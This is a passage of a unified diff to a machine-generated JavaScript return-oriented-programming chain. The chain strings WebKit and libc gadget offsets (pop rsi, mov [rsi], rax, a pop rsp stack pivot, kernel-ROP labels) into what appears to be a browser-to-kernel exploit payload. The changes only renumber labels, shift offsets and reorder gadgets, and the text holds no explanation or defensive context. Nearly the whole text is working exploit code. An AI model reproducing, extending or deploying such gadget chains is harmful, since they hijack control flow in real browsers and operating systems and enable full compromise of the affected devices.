rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+363032, //L7046 +ropchain+359688, //L6819 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+363064, //L7048 +ropchain+359720, //L6820 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7046: +//L6819: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7047: +//L6818: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7048: +//L6820: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7049: +//L6821: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+363136, //L7051 +ropchain+359792, //L6823 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7051: +//L6823: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+363240, //L7052 +ropchain+359896, //L6825 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+363272, //L7054 +ropchain+359928, //L6826 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+363256, //L7053 +ropchain+359912, //L6824 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7052: +//L6825: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7053: +//L6824: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7054: +//L6826: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+363432, //L7058 +ropchain+360088, //L6830 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+363384, //L7055 +ropchain+360040, //L6828 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+363416, //L7057 +ropchain+360072, //L6829 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7055: +//L6828: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7056: +//L6827: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7057: +//L6829: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7058: +//L6830: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+363488, //L7060 +ropchain+360144, //L6832 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7060: +//L6832: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+363592, //L7061 +ropchain+360248, //L6834 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+363624, //L7063 +ropchain+360280, //L6835 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+363608, //L7062 +ropchain+360264, //L6833 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7061: +//L6834: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7062: +//L6833: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7063: +//L6835: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+363696, //L7064 +ropchain+360352, //L6836 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+363712, //L7065 +ropchain+360368, //L6837 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7064: +//L6836: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7065: +//L6837: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+363872, //L7069 +ropchain+360528, //L6841 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+363824, //L7066 +ropchain+360480, //L6839 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+363856, //L7068 +ropchain+360512, //L6840 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7066: +//L6839: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7067: +//L6838: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7068: +//L6840: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7069: +//L6841: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+363928, //L7071 +ropchain+360584, //L6843 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7071: +//L6843: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+364032, //L7072 +ropchain+360688, //L6845 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+364064, //L7074 +ropchain+360720, //L6846 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+364048, //L7073 +ropchain+360704, //L6844 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7072: +//L6845: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7073: +//L6844: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7074: +//L6846: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+364160, //L7076 +ropchain+360816, //L6848 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+364144, //L7075 +ropchain+360800, //L6847 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7075: +//L6847: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7076: +//L6848: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -50764,14 +49989,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+364256, //L7078 +ropchain+360912, //L6850 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7077: -db([4294965100, 4294967295]); // -0x894 +//L6849: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7078: +//L6850: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -50781,22 +50006,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+364336, //L7079 +ropchain+360992, //L6851 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7079: +//L6851: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+364392, //L7082 +ropchain+361048, //L6853 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7082: +//L6853: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -50804,83 +50029,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+364488, //L7085 +ropchain+361128, //L6855 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7083: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L7085: +//L6855: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6856: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+364592, //L7088 +ropchain+361248, //L6860 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+364576, //L7087 +ropchain+361232, //L6858 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7087: +//L6858: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7088: +//L6860: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+364760, //L7091 +ropchain+361416, //L6863 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+364776, //L7092 +ropchain+361432, //L6864 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+364728, //L7089 +ropchain+361400, //L6861 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+364744, //L7090 +ropchain+361384, //L6862 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7089: +//L6862: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7090: +//L6861: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7091: +//L6863: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7092: +//L6864: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+364880, //L7093 +ropchain+361536, //L6865 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+364912, //L7095 +ropchain+361568, //L6867 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+364896, //L7094 +ropchain+361552, //L6866 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7093: +//L6865: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7094: +//L6866: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7095: +//L6867: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -50891,44 +50116,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+365000, //L7096 +ropchain+361656, //L6868 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7096: +//L6868: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+365056, //L7099 +ropchain+361712, //L6870 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7099: +//L6870: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+365128, //L7100 +ropchain+361784, //L6872 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7100: +//L6872: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+365184, //L7103 +ropchain+361840, //L6874 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7103: +//L6874: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -50938,79 +50163,79 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L7104: +//L6876: libc_base+793877, //pop rsi -ropchain+365288, //L7107 +ropchain+361928, //L6877 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7105: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L7107: +//L6877: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6878: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+365392, //L7110 +ropchain+362048, //L6882 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+365376, //L7109 +ropchain+362032, //L6880 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7109: +//L6880: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7110: +//L6882: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+365560, //L7113 +ropchain+362216, //L6885 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+365576, //L7114 +ropchain+362232, //L6886 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+365528, //L7111 +ropchain+362200, //L6883 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+365544, //L7112 +ropchain+362184, //L6884 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7111: +//L6884: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7112: +//L6883: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7113: +//L6885: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7114: +//L6886: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+365672, //L7116 +ropchain+362328, //L6888 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+365656, //L7115 +ropchain+362312, //L6887 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7115: +//L6887: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7116: +//L6888: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51018,38 +50243,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+365760, //L7118 +ropchain+362416, //L6890 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7117: +//L6889: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L7118: +//L6890: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+365832, //L7121 +ropchain+362472, //L6891 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7119: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L7121: +//L6891: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6892: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+365896, //L7122 +ropchain+362552, //L6894 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7122: +//L6894: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51059,30 +50284,30 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+360288, //L6977 -//L7010: +ropchain+356944, //L6749 +//L6782: libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L6896: + pivot_addr, libc_base+793877 //pop rsi ]); -//L7124: +//L6897: db([4294965088, 4294967295]); // -0x8a0 set_gadgets([ -libc_base+792472, //pop rcx -//L7126: - pivot_addr, libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+366064, //L7129 +ropchain+362704, //L6899 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7127: -db([4294965100, 4294967295]); // -0x894 -set_gadget(libc_base+792472,); //pop rcx -//L7129: +//L6899: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6900: +db([4294965104, 4294967295]); // -0x890 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -51091,22 +50316,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+366144, //L7130 +ropchain+362800, //L6902 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7130: +//L6902: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+366200, //L7133 +ropchain+362856, //L6904 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7133: +//L6904: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51115,10 +50340,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7134: +//L6906: db([4, 0]); // 0x4 set_gadget(libc_base+788575,); //pop rax -//L7135: +//L6907: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51129,79 +50354,81 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+366352, //L7136 +ropchain+363008, //L6908 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7136: +//L6908: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+366408, //L7139 +ropchain+363064, //L6910 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7139: +//L6910: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+366544, //L7141 +ropchain+363200, //L6913 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+366560, //L7142 +ropchain+363216, //L6914 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+366528, //L7140 +ropchain+363184, //L6912 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7140: +//L6912: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7141: +//L6913: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7142: +//L6914: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+366656, //L7144 +ropchain+363296, //L6915 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+366672, //L7145 +ropchain+363328, //L6917 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L7143: -ropchain+398896, //_krop_c3bak1 libc_base+792472 //pop rcx ]); -//L7144: +//L6915: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L7145: +set_gadgets([ +libc_base+788575, //pop rax +//L6916: +ropchain+398696, //_krop_c3bak1 +libc_base+206806 //pop rdi +]); +//L6917: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+366744, //L7148 +ropchain+363384, //L6918 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7146: -db([4294965100, 4294967295]); // -0x894 -set_gadget(libc_base+792472,); //pop rcx -//L7148: +//L6918: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6919: +db([4294965104, 4294967295]); // -0x890 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -51210,22 +50437,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+366824, //L7149 +ropchain+363480, //L6921 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7149: +//L6921: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+366880, //L7152 +ropchain+363536, //L6923 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7152: +//L6923: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51234,10 +50461,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L7153: +//L6925: db([12, 0]); // 0xc set_gadget(libc_base+788575,); //pop rax -//L7154: +//L6926: db([12, 0]); // 0xc set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -51248,188 +50475,190 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+367032, //L7155 +ropchain+363688, //L6927 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7155: +//L6927: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+367088, //L7158 +ropchain+363744, //L6929 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7158: +//L6929: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+367224, //L7160 +ropchain+363880, //L6932 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+367240, //L7161 +ropchain+363896, //L6933 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+367208, //L7159 +ropchain+363864, //L6931 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7159: +//L6931: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7160: +//L6932: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7161: +//L6933: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+367336, //L7163 +ropchain+363976, //L6934 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+367352, //L7164 +ropchain+364008, //L6936 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L7162: -ropchain+398944, //_krop_c3bak2 libc_base+792472 //pop rcx ]); -//L7163: +//L6934: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L7164: +set_gadgets([ +libc_base+788575, //pop rax +//L6935: +ropchain+398744, //_krop_c3bak2 +libc_base+206806 //pop rdi +]); +//L6936: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L7165: +//L6937: db([4294965088, 4294967295]); // -0x8a0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+367488, //L7169 +ropchain+364144, //L6941 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+367472, //L7168 +ropchain+364128, //L6939 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7168: +//L6939: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7169: +//L6941: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+367648, //L7173 +ropchain+364304, //L6945 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+367600, //L7170 +ropchain+364256, //L6943 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+367632, //L7172 +ropchain+364288, //L6944 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7170: +//L6943: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7171: +//L6942: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L7172: +//L6944: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7173: +//L6945: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+367824, //L7176 +ropchain+364480, //L6948 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+367840, //L7177 +ropchain+364496, //L6949 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+367792, //L7174 +ropchain+364464, //L6946 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+367808, //L7175 +ropchain+364448, //L6947 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7174: +//L6947: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7175: +//L6946: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7176: +//L6948: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7177: +//L6949: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+368000, //L7181 +ropchain+364656, //L6953 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+367952, //L7178 +ropchain+364608, //L6951 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+367984, //L7180 +ropchain+364640, //L6952 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7178: +//L6951: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7179: +//L6950: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L7180: +//L6952: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7181: +//L6953: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+368104, //L7183 +ropchain+364760, //L6955 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+368088, //L7182 +ropchain+364744, //L6954 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7182: +//L6954: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7183: +//L6955: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -51438,14 +50667,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+368200, //L7185 +ropchain+364856, //L6957 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7184: -db([4294965100, 4294967295]); // -0x894 +//L6956: +db([4294965104, 4294967295]); // -0x890 set_gadget(libc_base+788575,); //pop rax -//L7185: +//L6957: db([0, 0]); // 0x0 set_gadgets([ 